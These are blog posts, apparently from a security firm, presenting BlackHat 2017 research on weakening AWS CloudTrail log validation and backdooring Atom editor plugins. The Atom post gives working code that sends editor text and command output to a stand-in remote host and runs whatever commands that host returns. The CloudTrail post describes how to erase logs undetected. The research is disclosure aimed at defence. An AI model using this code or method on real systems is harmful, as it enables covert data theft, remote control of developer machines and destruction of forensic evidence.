Disrupting AWS S3 Logging

This post continues the series of highlights from our recent BlackHat USA 2017 talk. An index of all the posts in the series is here.


Before today's public clouds, best practice was to store logs separately from the host that generated them. If the host was compromised, the logs stored off it would have a better chance of being preserved.

At a cloud provider like AWS, a storage service within an account holds your activity logs. A sufficiently thorough compromise of an account could very well lead to disrupted logging and heightened pain for IR teams. It's analogous to logs stored on a single compromised machine: once access restrictions to the logs are overcome, logs can be tampered with and removed. In AWS, however, removing and editing logs looks different to wiping logs with rm -rf.

In AWS jargon, the logs originate from a service called CloudTrail. A Trail is created which delivers the current batch of activity logs in a file to a pre-defined S3 bucket at variable intervals. (Logs can take up to 20 mins to be delivered).

CloudTrail logs are often collected in the hope that should a breach be discovered, there will be useful audit trail in the logs. The logs are the only public record of what happened while the attacker had access to an account, and form the basis of most AWS defences. If you haven't enabled them on your account, stop reading now and do your future self a favour.

Prior work

In his blog post, Daniel Grzelak explored several fun consequences of the fact that logs are stored in S3. For example, he showed that when a file lands in an S3 bucket, it triggers an event. A function, or Lambda in AWS terms, can be made to listen for this event and delete logs as soon as they arrive. The logs continue to arrive as normal (except for the logs evaporating on arrival.)

Flow of automatic log deletion

Versions, lambdas and digests

Adding "versioning" to S3 buckets (which keeps older copies of files once they are overwritten) won't help, if an attacker can grant permission to delete the older copies. Versioned buckets do have the option of having versioned items protected from deletion by multi-factor auth ("MFA-delete"). Unfortunately it seems like only the AWS account's root user (as the sole owner all S3 buckets in an account) can configure this, making it less easy to enable in typical setups where root access is tightly limited.

In any case, an empty logs bucket will inevitably raise the alarm when someone comes looking for logs. This leaves the attacker with a pressing question: how do we erase our traces but leave the rest of the logs available and readable? The quick answer is that we can modify the lambda to check every log file and delete any dirty log entries before overwriting them with a sanitised log file.

But a slight twist is needed: when modifying logs, the lambda itself generates more activity which in turn adds more dirty entries to the logs. By adding a unique tag to the names of pieces of the log-sanitiser (such as name of the policies, roles and lambdas), these can be deleted like any other dirty log entries so that the log-sanitiser eats it's own trail. In this code snippet, any role, lambda or policy that includes thinkst_6ae655cf will be kept out of the logs.

That would seem to present a complete solution, except that AWS Cloudtrail also offers log validation (aimed specifically at mitigating silent changes to logs after delivery). At regular intervals, the log trail delivers a (signed) digest file that attests to the contents of all the log files delivered in the past interval. If a log file covered by the digest changes, that digest file validation fails.

A slew of digest files

At first glance this stops our modification attack in its tracks; our lambda modified the log after delivery, but the digest was computed on the contents prior to our changes. So the contents and the digest won't match.

Also covered by each digest file, is the previous digest file. This creates a chain of log validation starting at the present and going back up the chain into the past. If the previous digest file has been modified or is missing, the next digest file validation will fail (but subsequent digests will be valid.) The intent behind this is clear: log tampering should show that AWS command line log validation shows an error.

Chain of digests and files they cover
Contents of a digest file

It would seem that one option is to simply remove digest files, but S3 protects them and prevents deletion of files that are part of an unbroken digest chain.

There's an important caveat to be aware of though: when log validation is stopped and started on a Trail (as opposed to stopping and starting the logging itself), the log validation chain is broken in an interesting way. The next digest file that is delivered doesn't refer to previous digest file since validation was stopped and started. Instead, the next digest file references null as its previous file, as if it's a new digest chain starting afresh.

Digest file (red) that can be deleted following a stop-start
In the diagram above, after the log files in red were altered, log validation was stopped and started. This broke the link between digest 1 and digest 2.

Altered logs, successful validation

We said that S3 prevented digest file deletion on unbroken chains. However, older digest files can be removed so long as no other file refers to them. That means we can delete digest 1, then delete digest 0.

What this means is that on the previous log validation chain, we can now delete the latest digest entry file without failing any digest log validation. The log validation will start at the most recent chain, and move back up. When the validation encounters the first item on the previous chain, it simply moves on to the latest available item of the previous chain. (There may be a note about no log files being delivered for a period, but this is the same message that arrives when no log files are delivered as well.)

No complaints validity complaints about missing digest files

And now?

It's easy to imagine that log validation is simply included in automated system health-checks; so long as it doesn't fail, no one will be verifying logs.  Until they're needed, of course, at which point the logs could have been changed without validation producing an error condition.

This attack signature is: validation was stopped and started (rather than logging being stopped and started). It underscores the importance of alerting on CloudTrail updates, even if it doesn't stop logging. (One way would be to alert on UpdateTrail events using the AWS CloudWatch service.) A single validation stop and start event, means it is not a safe to assume that the AWS CLI tool reporting that all logs validate means that the logs haven't been tampered with. The log validation should be especially suspect if there are breaks in the digest validation chain, which would have to be manually verified.

Much like in the case of logs stored on a single compromised host, logs should be interpreted with care when we are dealing with compromised AWS accounts that had the power to alter them..

All your devs are belong to us: how to backdoor the Atom editor

This is the first post in a series highlighting bits from our recent BlackHat USA 2017 talk. An index of all the posts in the series is here.


In this post we'll be looking at ways to compromise your developers that you probably aren't defending against, by exploiting the plugins in their editors. We will therefore be exploring Atom, Atom plugins, how they work and the security shortfalls they expose.

Targeting developers seems like a good idea (targeting sysadmins is so 2014). If we can target them through a channel that you probably aren't auditing, thats even better!


We all need some type of editor in our lives to be able to do the work that we do. But, when it comes to choosing an editor, everyone has their own views. Some prefer the modern editors like Atom or Sublime, while others are more die-hard/ old school and prefer to stick to Vim or Emacs. Whatever you chose, you'll most likely want to customize it in some way (if not, I am not sure I can trust you as a person let alone a developer).  

Plugins and Extensions on modern editors are robust. Aside from cosmetic customization (font, color scheme, etc) they also allow you a range of functionality to make your life easier: from autocomplete and linters to minimaps, beautifiers and git integration, you should be able to find a plugin that suits your needs. If you don't, you can just create and publish one.

Other users will download new plugins to suit their needs, continuously adding to their ever growing list of them (because who has the time to go back and delete old unused plugins?) Many editors support automatic updates to ensure that any bugs are fixed and new features are enjoyed immediately.

For this post I'll focus specifically on Atom, Github's shiny new editor.  According to their site it's a "hackable text editor for the 21st century" (heh!). Atom's user base is continuously growing, along with their vast selection of packages.  You can even install Atom on your Chromebook with a few hacks, which bypasses the basic security model on ChromeOS.

The Goal

I was tasked with exploring the extent of damage that a malicious Atom plugin could do. We weren't sure what obstacles we'd face or what security measures were in place to stop us being evil. It turns out there were none... within a couple hours I had not only published my first app, but had updated it to include a little bit of malicious code too. 

The plan was simple:

Step One:  Get a simple package (plugin) published
  • What was required and how difficult would it be (do we need our app to be vetted)?
Step Two:  Test the update process
  • If you were going to create a malicious package you'd first create a useful non-malicious one that would create a large user base and then push an update that would inject the unsavory code.
Step Three:  Actually test what we could achieve from within an Atom package
  • We'd need to determine if there was any form of sandboxing, what libraries we'd have access to, etc.

Hello Plugin

Step One

This was trivially simple. There are lots of guides to creating and publishing packages for Atom out there, including a detailed one on their site.  

Generate a new package:

cmd + shift + p
Package Generator: Generate Package 

This will give you a package with a simple toggle method that we will use later:

toggle: ->
    console.log 'touch-type-teacher was toggled!'

Push the code to a Git repo:

git init
git add .
git commit -m "First commit"
git remote add origin <remote_repo_url>
git push -u origin master

Publish your Atom package 

apm-beta publish minor

Step Two

This was even easier seeing as the initial setup was complete:  

Make a change:

toggle: ->
    console.log 'touch-type-teacher was toggled!'
    console.log 'update test'

Push it to Github:

git commit -a -m 'Add console logging'
git push

Publish the new version:

apm-beta publish minor

So that's step one and two done, showing how easy it is to publish and update your package. The next step was to see what could actually be done with your package.  

That seems like a reasonable request

Step Three

Seeing as packages are built on node.js, the initial test was to see what modules we had access to.

The request package seemed a good place to start as it would allow us to get data off the user's machine and into our hands.

Some quick digging found that it was easy to add a dependency to our package:

npm install --save request@2.73.0
apm install

Import this in our code:

request = require 'request'

Update our code to post some data to our remote endpoint:

toggle: ->
    request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>            
        console.log 'Data sent!'

With this, our package will happily send information to us whenever toggled.

Now that we have a way to get information out, we needed to see what kind of information we had access to.

Hi, my name is...

Let's change our toggle function to try and get the current user and post that:

toggle: ->
    {spawn} = require 'child_process'
    test = spawn 'whoami'
    test.stdout.on 'data', (data) ->
        request 'http://my-remote-endpoint.com/run?data='+data.toString().trim(), (error, response, body) =>
            console.log 'Output sent!'

This actually worked too... meaning we had the ability to run commands on the user's machine and then extract the output from them if needed.

At this point we had enough information to write it up, but we took it a little further (just for kicks).

Simon Says

Instead of hardcoding commands into our code, let's send it commands to run dynamically! While we are at it, instead of only firing on toggling of our package, let's fire whenever a key is pressed.

First we'll need to hook onto the onChange event of the current editor:

module.exports = TouchTypeTeacher =
  touchTypeTeacherView: null
  modalPanel: null
  subscriptions: null
  editor: null

  activate: (state) ->
    @touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState)
    @modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false)
    @editor = atom.workspace.getActiveTextEditor()
    @subscriptions = new CompositeDisposable

    @subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle()
    @subscriptions.add @editor.onDidChange (change) => @myChange()

Then create the myChange function that will do the dirty work:

myChange: ->
    request 'http://my-remote-endpoint.com/test?data=' +@editor.getText(), (error, response, body) =>
        {spawn} = require 'child_process'
        test = spawn body
        console.log 'External code to run:\n' + body
        test.stdout.on 'data', (data) ->
           console.log 'sending output'
           request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) =>
               console.log 'output sent!'

What happens in this code snippet is a bit of overkill but it demonstrates our point. On every change in the editor we will send the text in the editor to our endpoint, which in turn returns a new command to execute. We run the command and send the output back to the endpoint.


Below is a demo of it in action. On the left you'll see the user typing into the editor, and on the right you'll see the logs on our remote server.

Our little plugin is not going to be doing global damage anytime soon. In fact we unpublished it once our tests were done. But what if someone changed an existing plugin which had lots of active users? Enter Kite.

Kite and friends

While we were ironing out the demo and wondering how prevalent this kind of attack was, an interesting story emerged. Kite, who make cloud-based coding tools, hired the developer of Minimap (an Atom plugin with over 3.8 million downloads) and pushed an update for it labelled "Implement Kite promotion". This update, among other things, inserted Kite ads onto the minimap.

In conjunction with this, it was found that Kite had silently acquired autocomplete-python (another popular Atom plugin) a few months prior and had promoted the use of Kite over the open source alternative.

Once discovered, Kite was forced to apologize and take steps to ensure they would not do it again (but someone else totally could!).

Similar to the Kite takeover of Atom packages (but with more malicious intent) in the past week it has been reported that two Chrome extensions had been taken over by attackers and had adware injected into them. Web Developer for Chrome and Copyfish both fell victims to the same phishing attack. Details of the events can be read about here (Web Developer) and here (Copyfish) but the gist of it was the popular extensions for Chrome had been compromised and users of the extensions fell victim without knowing it.

Wrapping up

We created a plugin and published it without it being picked up as malicious. This plugin runs without a sandbox and without a restrictive permissions model to prevent us stealing all the information the user has access to. Even if there was some kind of code analysis conducted on uploaded code, it's possible to remotely eval() code at runtime.  Automatic updates means that even if our plugin is benign today, it could be malicious tomorrow.

Forcing developers to use only a certain controlled set of tools/plugins seems draconian, but if it is not controlled, it's getting more and more difficult to secure.

BlackHat 2017 Series

[Update: jump to the end of the page for the series index]

Late July found Haroon and I sweating buckets inside an 8th storey Las Vegas hotel room. Our perspiration was due not to the malevolent heat outside but to the 189 slides we were building for BlackHat 2017. Modifications to the slidedeck continued until just before the talk, and we're now posting a link to the final deck. Spoiler alert: it's at the bottom of this post.

A few years ago (2009, but who's counting) we spoke at the same conference and then at DEF CON on Clobbering the Cloud. It's a little hard to recall the zeitgeist of bygone times, but back then the view that "the Cloud is nothing new" was prominent in security circles (and, more broadly, in IT). The main thrust of the previous talk was taking aim at that viewpoint, showing a bunch of novel attacks on cloud providers and how things were changing:

Eight years on, and here we are again talking about Cloud. In the intervening years we've built and run a cloud-reliant product company, and securing that chews up a significant amount of our time. With the benefit of actual day-to-day usage and experience we took another crack at Cloud security. This time the main thrust of our talk was:

In our 2017 talk we touch on a bunch of ways in which security teams are often still hobbled by a view of Cloud computing that's rooted in the past, while product teams have left most of us in the dust. We discuss insane service dependency graphs and we show how simple examples of insignificant issues in third parties boomerang into large headaches. We talk software supply chains for your developers through malicious Atom plugins. Detection is kinda our bag, so we're confident saying that there's a dearth of options in the Cloud space, and go to some lengths to show this. We cover seldom-examined attack patterns in AWS, looking at recon, compromise, lateral movement, privesv, persistence and logging disruption. Lastly we took an initial swing at BeyondCorp, the architecture improvement from Google that's getting a bunch of attention.

We'd be remiss in not mentioning Atlassian's Daniel Grzelak who has been developing attacks against AWS for a while now. He's been mostly a lone voice on the topic.

One of our takeaways is that unless you're one of the few large users of cloud services, it's unlikely you're in a position to devote enough time to understanding the environment. This is a scary proposition as the environment is not fully understood even by the large players. You thought Active Directory was complex? You can host your AD at AWS, it's 1 of 74 possible services you can run on AWS.

The talk was the result of collaboration between a bunch of folks here at Thinkst. Azhar, Jason, Max and Nick all contributed, and in the next few weeks we'll be seeing posts from them talking about specific sub-topics they handled. We'll update this post as each new subtopic is added.

The full slidedeck is available here.

Posts in this series

  1. All your devs are belong to us: how to backdoor the Atom editor
  2. Disrupting AWS S3 Logging
  3. Farseeing: a look at BeyondCorp
  4. Canarytokens' new member: AWS API key Canarytoken